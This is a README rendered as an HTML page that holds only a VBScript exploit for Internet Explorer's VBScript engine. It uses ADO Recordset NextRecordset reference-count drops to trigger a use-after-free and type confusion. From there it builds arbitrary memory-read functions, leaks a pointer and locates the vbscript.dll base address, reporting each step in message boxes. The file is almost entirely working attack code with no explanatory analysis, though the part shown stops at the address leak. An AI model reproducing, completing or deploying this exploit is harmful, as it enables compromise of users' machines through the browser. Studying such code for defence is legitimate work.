README.md
Rendering markdown...
<html>
<head>
<meta http-equiv="x-ua-compatible" content="IE=10">
<meta http-equiv="Expires" content="0">
<meta http-equiv="Pragma" content="no-cache">
<meta http-equiv="Cache-control" content="no-cache">
<meta http-equiv="Cache" content="no-cache">
</head>
<body>
<script language="vbscript">
' Create 20 Recordset objects and establish a DB connection to local server "SQLEXPRESS".
Dim RS(20)
Dim RS_i
RS_i = 0
For i = 0 to UBound(RS)
Set RS(i) = CreateObject("ADOR.Recordset")
RS(i).Open "SELECT * FROM INFORMATION_SCHEMA.COLUMNS", _
"Provider=SQLOLEDB;" & _
"Data Source=.\SQLEXPRESS;" & _
"Initial Catalog=master;" & _
"Integrated Security=SSPI;" & _
"Trusted_Connection=True;"
Next
Dim UafArrayA(2000,6),UafArrayB(2000,6),UafArrayA_obj
Dim objectArray(40)
Dim FakeArrayString,Empty16BString
Dim Empty16BString_addr
Dim reuseObjectA_arr,reuseObjectB_int
Dim objectOfClassWithPropA,objectOfClassWithPropB
FakeArrayString=Unescape("%u0001%u0880%u0001%u0000%u0000%u0000%u0000%u0000%uffff%u7fff%u0000%u0000")
Empty16BString=Unescape("%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000")
Function GetUint32(addr)
Dim value
UafArrayA_obj.mem(Empty16BString_addr+8)=addr+4 ' set value as BSTR ptr + 4 (BSTR obj: [len][addr+4], LenB will read from [len] so [addr]
UafArrayA_obj.mem(Empty16BString_addr)=8 ' set type to VT_BSTR
value=UafArrayA_obj.ReadBstrValll
UafArrayA_obj.mem(Empty16BString_addr)=2 ' set type to original VT_I2
GetUint32=value
End Function
Function GetWord(addr)
GetWord = GetUint32(addr) And &h0fff
End Function
Function GetByte(addr)
GetByte = GetUint32(addr) And &hff
End Function
Sub EmptySub
End Sub
' Perform a call to NextRecordset to remove the given object's reference count.
' Cycle through the previously created Recordset objects, because NextRecordset will not work for a second time on the same object.
Sub DecrementRefcount(obj)
On Error Resume Next
Set m = RS(RS_i).NextRecordset(obj)
RS_i = RS_i + 1
End Sub
Function ReadRawPointer
UafArrayA_obj.mem(Empty16BString_addr)=3 ' set var type to type vbLong
ReadRawPointer=UafArrayA_obj.mem(Empty16BString_addr+8) ' read data as vbLong
End Function
Sub SetVarData(ByRef ref)
UafArrayA_obj.mem(Empty16BString_addr+8)=ref ' set data
End Sub
Function LeakVBAddr
On Error Resume Next
Dim emptySub_addr_placeholder
emptySub_addr_placeholder=EmptySub
emptySub_addr_placeholder=null
SetVarData emptySub_addr_placeholder
LeakVBAddr=ReadRawPointer()
End Function
Function FindMzBase(addr)
Dim base
base= addr And &hffff0000
Do While GetUint32(base+104)<> &h206e6920 Or GetUint32(base+108) <> &h20534f44
base = base - &h10000
Loop
FindMzBase=base
End Function
Class EmptyClass
End Class
Class ReuseClass
Dim mem
Function P
End Function
Function SetProp(Value)
mem=Value ' will actually call Default Poperty Get
SetProp=0
End Function
End Class
Class FakeReuseClass
Dim mem
Function ReadBstrValll
ReadBstrValll=LenB(mem(Empty16BString_addr+8))
End Function
Function Q
End Function
End Class
Class ReplacingClass_Array
Public Default Property Get Q
Dim objectImitatingArray
Q=CDbl("174088534690791e-324") ' db 0, 0, 0, 0, 0Ch, 20h, 0, 0
For i=0 To 6
DecrementRefcount(reuseObjectA_arr)
Next
For i=0 to UBound(UafArrayA)
Set objectImitatingArray=New FakeReuseClass
objectImitatingArray.mem = FakeArrayString
For j=0 To 6
Set UafArrayA(i,j)=objectImitatingArray
Next
Next
End Property
End Class
Class ReplacingClass_Int
Public Default Property Get P
Dim objectImitatingInteger
P=CDbl("636598737289582e-328") ' db 0, 0, 0, 0, 3, 0, 0, 0
For i=0 To 6
DecrementRefcount(reuseObjectB_int)
Next
For i=0 to UBound(UafArrayB)
Set objectImitatingInteger=New FakeReuseClass
objectImitatingInteger.mem=Empty16BString
For j=0 To 6
Set UafArrayB(i,j)=objectImitatingInteger
Next
Next
End Property
End Class
Set objectOfClassWithPropA=New ReplacingClass_Array
Set objectOfClassWithPropB=New ReplacingClass_Int
Sub UafTrigger
For idx=0 To 17
Set objectArray(idx)=New EmptyClass
Next
For idx=20 To 38
Set objectArray(idx)=New ReuseClass
Next
Set reuseObjectA_arr=New ReuseClass
Set reuseObjectB_int=New ReuseClass
End Sub
Sub TypeConfusion
On Error Resume Next
reuseObjectB_int.SetProp(objectOfClassWithPropB)
vt = VarType(reuseObjectB_int.mem)
If vt = 3 Then
MsgBox("Got Empty16BString_addr from reuseObjectB_int")
Empty16BString_addr = reuseObjectB_int.mem
Else
For i=0 To UBound(UafArrayB)
vt = VarType(UafArrayB(i,0).mem)
If vt = 3 Then
Exit For
End If
Next
If i > UBound(UafArrayB) Then
MsgBox("Could not find an object corrupted by reuseObjectB_int")
Else
MsgBox("Got Empty16BString_addr from UafArrayB(" & i & ")")
Empty16BString_addr = UafArrayB(i,0).mem
End If
End If
reuseObjectA_arr.SetProp(objectOfClassWithPropA)
Err.Clear
a = reuseObjectA_arr.mem(Empty16BString_addr)
If Err.Number = 0 Then
MsgBox("Got UafArrayA_obj from reuseObjectA_arr")
Set UafArrayA_obj = reuseObjectA_arr
Else
For i=0 To UBound(UafArrayA)
Err.Clear
a = UafArrayA(i,0).mem(Empty16BString_addr)
If Err.Number = 0 Then
Exit For
End If
Next
If i > UBound(UafArrayA) Then
MsgBox("Could not find an object corrupted by reuseObjectA_arr")
Else
MsgBox("Got UafArrayA_obj from UafArrayA(" & i & ")")
Set UafArrayA_obj = UafArrayA(i,0)
End If
End If
End Sub
Sub StartExploit
UafTrigger
TypeConfusion
ptr_toCScriptEntryPointVTble=LeakVBAddr()
vbscript=FindMzBase(GetUint32(ptr_toCScriptEntryPointVTble))
MsgBox("vbscript.dll base: 0x" & Hex(vbscript))
End Sub
StartExploit
</script>
</body>
</html>